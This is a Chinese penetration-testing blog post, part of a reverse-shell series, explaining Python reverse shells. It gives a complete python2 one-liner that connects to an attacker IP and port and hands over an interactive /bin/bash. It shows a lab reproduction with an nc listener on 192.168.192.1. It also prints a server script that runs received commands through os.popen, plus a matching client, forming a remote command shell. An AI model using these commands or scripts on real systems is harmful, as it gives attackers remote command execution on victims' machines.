当前位置: 首页 > news >正文

[ 隧道技术 ] 反弹shell的集中常见方式(四)python反弹shell

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、反弹shell的常用方式
  • 二、Python介绍
  • 三、Python反弹Shell介绍(建立socket通信)
    • 1.详细讲解
  • 四、实例讲解
    • 1、环境
    • 2、实验复现
      • 1.攻击机采用nc监听
      • 2.靶机执行连接命令
      • 3.反弹shell成功
  • 五、Socket通信是什么,又如何实现
    • 1、简述socket原理
    • 2、socket通信创建过程(以客户端为例)
      • 1.创建Socket
      • 2.连接到服务器
      • 3.发送数据到服务器
      • 4.从服务器接受数据
      • 5.关闭socket
    • 3、python 实现socket通信代码实例
      • 1.准备脚本
      • 2.服务端执行脚本(kali)
      • 3.客户端执行脚本(windows)
      • 4.服务器端脚本
      • 5.客户端脚本
  • 六、相关资源
    • 1、相关文章
    • 2、脚本下载

一、反弹shell的常用方式

Netcat反弹
Powercat反弹
Bash反弹
Python反弹
还有telnet反弹shell,Java反弹shell,php反弹shell等等的
其实各种反弹shell的方式都是大同小异的
这篇文章来探讨一下python反弹shell

二、Python介绍

Python由荷兰数学和计算机科学研究学会的吉多·范罗苏姆于1990年代初设计,作为一门叫做ABC语言的替代品。Python提供了高效的高级数据结构,还能简单有效地面向对象编程。Python语法和动态类型,以及解释型语言的本质,使它成为多数平台上写脚本和快速开发应用的编程语言,随着版本的不断更新和语言新功能的添加,逐渐被用于独立的、大型项目的开发。

三、Python反弹Shell介绍(建立socket通信)

python2、python3都行,我这里采用的python2

python2 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击机ip',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

1.详细讲解

看图吧,兄弟们,以前学习的时候都标记了颜色,这里直接截图算了
python -c “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击机器IP”,端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([”/bin/bash",“i”]);"

-c参数 " 代码 "
import socket,subprocess,os; 导入这几个库
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s=对象
s.connect((“攻击机器IP”,端口)); s连接攻击机器
os.dup2(s.fileno(),1); 控制
os.dup2(s.fileno(),2); 控制
p=subprocess.call([“/bin/bash”,“i”]); 把bash -i交互到攻击机IP 端口
在这里插入图片描述

四、实例讲解

1、环境

攻击机:本机windows:192.168.192.1
靶机:虚拟机kali:192.168.13.131

2、实验复现

1.攻击机采用nc监听

攻击机器使用nc执行监听命令

.\nc.exe -lvvp 55555 

在这里插入图片描述

2.靶机执行连接命令

实验靶机执行连接命令

python2 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.192.1',55555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

在这里插入图片描述

3.反弹shell成功

在这里插入图片描述

五、Socket通信是什么,又如何实现

1、简述socket原理

socket又称套间字或者插口,是网络通信中必不可少的工具。有道是:“无socket,不网络”。由于socket最早在BSD Unix上使用,而Unix/Linux所奉为经典的至高哲学是“一切皆是文件”。因此socket在使用时也是完全符合这个哲学的,它涉及到listen()、bind()、accept()、write()/read()、close()等基本的类似于文件操作的功能函数。
上述Socket功能函数是从传输层协议TCP或者UDP中抽象出来的,一个基本的socket通信可以通过固定的功能函数实现。这里插一句,IP协议是工作在网络层的。

2、socket通信创建过程(以客户端为例)

1.创建Socket

涉及到的主要参数:domain、type、protocal。
domain是协议域,其中AF_INET->IPv4;AF_INET6->IPv6 。
type对应socket类型,SOCK_STREAM->TCP;SOCK_DGRAM->UDP。
protocol是IPPROTO_TCP,若传入0,则会根据第二个参数type,自动选择合适的参数。

2.连接到服务器

涉及到的主要参数:
客户端socket
指向数据结构socketaddr的指针,其中包括目的端口和IP地址
结构体数据长度

3.发送数据到服务器

涉及到的主要参数:
客户端socket
发送内容地址
发送内容长度
发送方式标志,一般为0

4.从服务器接受数据

涉及到的主要参数:
客户端socket
接受内容缓冲区地址
接受内容缓冲区长度
接受方式,0表示阻塞,必须等待服务器返回数据返回值,若成功,则返回读入的字节数,失败则 返回SOCKET_ERROR。

5.关闭socket

服务端直接断开就行

3、python 实现socket通信代码实例

1.准备脚本

脚本代码在后面
准备两个脚本,一个为服务端脚本,一个为客户端脚本
我在本机建立的,把服务端的脚本拖入kali,我都是放的桌面

在这里插入图片描述

2.服务端执行脚本(kali)

python3 /root/Desktop/server.py

服务端执行脚本后显示准备连接中

在这里插入图片描述

3.客户端执行脚本(windows)

python C:\路径\client.py

客户端执行脚本直接连接成功,我们就可以执行任意命令了

在这里插入图片描述

客户端执行脚本后服务端显示连接成功

在这里插入图片描述

4.服务器端脚本

f#-*- coding: utf-8 -*-
from socket import *
import os
HOST=''
PORT=1122
BUFSIZ=1024
ADDR=(HOST, PORT)
sock=socket(AF_INET, SOCK_STREAM)
sock.bind(ADDR)
sock.listen(1)
STOP_CHAT=False
while not STOP_CHAT:
    tcpClientSock, addr=sock.accept()
    print('Listening.....')
    while True:
        try:
            data=tcpClientSock.recv(BUFSIZ)
        except:
            tcpClientSock.close()
            break
        if not data:
            break
        STOP_CHAT=(data.decode('utf8').upper()=="QUIT")
        if STOP_CHAT:
            break
        ME = os.popen(data.decode('utf8'))
        os_result = ME.read()
        print(os_result)
        tcpClientSock.sendall(os_result.encode('utf8'))
tcpClientSock.close()
sock.close()

5.客户端脚本

#-*- coding: utf-8 -*-
import os,sys
from socket import *
class TcpClient:
    HOST='192.168.13.131'
    PORT=1122
    BUFSIZ=2048
    ADDR=(HOST, PORT)
    def __init__(self):
        self.client=socket(AF_INET, SOCK_STREAM)
        self.client.connect(self.ADDR)
        while True:
            data=input('OS Shell >')
            if not data:
                break
            self.client.send(data.encode('utf8'))
            print('Execute %s:%s' %(self.HOST,data))
            if data.upper()=="QUIT":
                break
            data=self.client.recv(self.BUFSIZ)
            if not data:
                break
            print('Receive:%s' %(data.decode('utf8')))
if __name__ == '__main__':
    client=TcpClient()

六、相关资源

1、相关文章

[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell

[ 隧道技术 ] 反弹shell的集中常见方式(二)bash反弹shell

[ 隧道技术 ] 反弹shell的集中常见方式(三)powercat反弹shell

2、脚本下载

客户端脚本:
客户端脚本:

相关文章:

  • 【NLP屠夫系列】- NER之实战BILSTM
  • java 网络编程 总结篇
  • 【2023秋招】杭州游卡开发岗笔试AK
  • 面了一个31岁的哥们,一看就背了很多面试题,一问三不知,还自认为很牛逼...
  • 【毕业设计】python 机器视觉 车牌识别 - opencv 深度学习 机器学习
  • [SpringBoot系列]进阶配置
  • pc网站和手机端h5网站开发接入微信支付
  • 数据库MySQL----(二)语句
  • 2021年中国研究生数学建模竞赛D题——抗乳腺癌候选药物的优化建模
  • 【AI】PyTorch入门(三):数据集和数据加载器
  • Windows系统下MySQL8.0版详细安装及配置教程
  • Qt5开发从入门到精通——第五篇四节( 文本编辑器 Easy Word 开发 V1.3详解 )
  • c#-WPF使用类和子类绑定到DataContext
  • 图像隐写,如何在图像中隐藏二维码
  • SPL工业智能:发现时序数据的异常
  • CSS 提示工具(Tooltip)
  • echarts花样作死的坑
  • Java 23种设计模式 之单例模式 7种实现方式
  • mysql中InnoDB引擎中页的概念
  • Spring Boot快速入门(一):Hello Spring Boot
  • storm drpc实例
  • text-decoration与color属性
  • Zsh 开发指南(第十四篇 文件读写)
  • 分享自己折腾多时的一套 vue 组件 --we-vue
  • 今年的LC3大会没了?
  • ​​​​​​​Installing ROS on the Raspberry Pi
  • ​如何使用ArcGIS Pro制作渐变河流效果
  • #预处理和函数的对比以及条件编译
  • %@ page import=%的用法
  • (+3)1.3敏捷宣言与敏捷过程的特点
  • (2020)Java后端开发----(面试题和笔试题)
  • (带教程)商业版SEO关键词按天计费系统:关键词排名优化、代理服务、手机自适应及搭建教程
  • (黑客游戏)HackTheGame1.21 过关攻略
  • (十三)Maven插件解析运行机制
  • (四) Graphivz 颜色选择
  • (四)JPA - JQPL 实现增删改查
  • .[hudsonL@cock.li].mkp勒索加密数据库完美恢复---惜分飞
  • .\OBJ\test1.axf: Error: L6230W: Ignoring --entry command. Cannot find argumen 'Reset_Handler'
  • .halo勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .NET 3.0 Framework已经被添加到WindowUpdate
  • .NET Compact Framework 多线程环境下的UI异步刷新
  • .NET NPOI导出Excel详解
  • .NET/C# 编译期间能确定的相同字符串,在运行期间是相同的实例
  • .pop ----remove 删除
  • .sh文件怎么运行_创建优化的Go镜像文件以及踩过的坑
  • @Bean, @Component, @Configuration简析
  • @property python知乎_Python3基础之:property
  • @value 静态变量_Python彻底搞懂:变量、对象、赋值、引用、拷贝
  • @WebService和@WebMethod注解的用法
  • [20190401]关于semtimedop函数调用.txt
  • [8-27]正则表达式、扩展表达式以及相关实战
  • [ES-5.6.12] x-pack ssl
  • [Hadoop in China 2011] Hadoop之上 中国移动“大云”系统解析
  • [IE技巧] IE 中打开Office文件的设置
  • [linux] C语言Linux系统编程进程基本概念